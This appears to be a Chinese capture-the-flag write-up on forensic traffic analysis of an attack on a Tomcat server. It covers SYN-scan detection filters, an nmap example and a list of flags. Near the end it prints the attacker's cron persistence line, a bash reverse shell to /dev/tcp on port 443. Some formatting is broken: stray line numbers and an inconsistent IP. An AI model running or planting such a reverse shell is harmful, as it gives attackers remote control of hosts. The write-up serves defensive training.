第六章-流量特征分析-常见攻击事件-Tomcat
第六章 流量特征分析-常见攻击事件 Tomcat
1. 在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
分析黑客的扫描行为这里我们要识别恶意扫描特征
恶意扫描通常表现为大量SYN请求(TCP半连接扫描),这是Nmap等工具常用的扫描方式。攻击者会向目标服务器多个端口发送SYN包,探测开放端口
我们使用命令tcp.flags.syn == 1 && tcp.flags.ack == 0过滤流量包
tcp.flags.syn == 1:筛选TCP协议中 SYN标志位(Synchronize)被置位(值为1) 的数据包。SYN标志用于建立TCP连接的初始握手(第一次握手)。tcp.flags.ack == 0:筛选 ACK标志位(Acknowledgment)未被置位(值为0) 的数据包。ACK标志用于确认数据接收(第二次握手后出现)。- 组合逻辑:该命令捕获 仅包含SYN请求而无ACK响应的TCP包,即TCP连接的第一次握手包。
那么应该有人问了,tcp的三次握手跟黑客的扫描有什么关系吗?
这个时候要了解一下端口扫描的核心机制
- 全连接扫描(TCP Connect扫描) :黑客通过完整的三次握手探测目标端口状态。
- 黑客发送
SYN包(第一次握手)→ 若目标端口开放,则回复SYN/ACK(第二次握手)→ 黑客发送ACK完成连接(第三次握手)。此时确认端口开放。 - 若端口关闭,目标会回复
RST/ACK包。 - 缺点:完整握手会被系统日志记录,易被管理员发现。
- 黑客发送
- 半连接扫描(SYN扫描) :黑客仅进行前两次握手,规避日志记录。
- 黑客发送
SYN→ 收到SYN/ACK即判定端口开放 → 不发送第三次ACK,而是直接中断连接。 - 由于连接未完全建立,目标系统不会记录完整会话,隐蔽性更强
- 黑客发送
- 暴露服务信息:通过扫描结果,黑客可识别目标开放的端口及运行的服务(如HTTP、FTP),为后续攻击提供路径
并且黑客在TCP SYN扫描中使用不含实际数据内容(Payload)的SYN包,是一种精心设计的协议层利用策略,其核心原因和原理如下:
一、协议规范要求:SYN包本质是握手信号
TCP三次握手的 第一次握手(SYN包) 在协议设计上仅用于建立连接协商,而非数据传输阶段。根据TCP/IP协议规范:
- SYN包仅包含控制标志位和序列号:其作用是发起连接请求并同步初始序列号(ISN),无需携带应用层数据(如HTTP、FTP内容)。
- 协议栈自动处理:操作系统网络栈在发送SYN包时,默认不附加Payload,因为连接尚未建立,传输数据无效。
示例:Wireshark抓包显示,正常SYN包中”Data”字段长度为0。
二、黑客的隐蔽性需求:规避检测和日志
黑客刻意保持SYN包无内容,是为了最大化扫描的隐蔽性:
规避入侵检测系统(IDS):
- 含Payload的SYN包(如填充虚假HTTP数据)会被识别为异常流量(如伪造攻击包)。
- 空Payload的SYN包更接近合法握手流量,难以被Snort等IDS规则标记。
避免系统日志记录:
完整连接(如TCP Connect扫描)会在目标系统留下日志记录。
半开扫描(SYN扫描)通过发送RST中断连接,无Payload的SYN包不会触发应用层日志,仅内核层可能记录。
# Nmap SYN扫描命令:无Payload且不建立完整连接 nmap -sS 192.168.1.11
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
这里我们通过命令过滤完数据包后基本可以确定14.0.0.1为黑客的ip地址

原因如下:
1. 可以看到这个ip地址对多端口进行了扫描443,3306,22等一些常用端口
* 
* 
* 
2. 他的窗口大小为1024符合攻击流量特征
* 
3. 他的ack响应设置为0无响应,并且设置了RST标志位来强制终止连接,几乎无`SYN-ACK → ACK`的完整握手流符合恶意端口扫描特征
* 
4. 这个ip的请求频率非常高
* 
综上所述可以确定黑客的ip地址
flag{14.0.0.120}
1 |
|
flag{guangzhou}
1 |
|
http && ip.addr == 14.0.0.120
1 |
|
flag{8080}
1 |
|
flag{gobuster}
1 |
|
flag{admin-tomcat}
1 |
|
flag{JXQOZY.war}
1 |
|
http contains “crontab” || tcp contains “cron” # 搜索cron相关流量
1 |
|
echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’” > cron.
cronta b -i cron
cronta b -l cron
1 |
|
flag{/bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’}







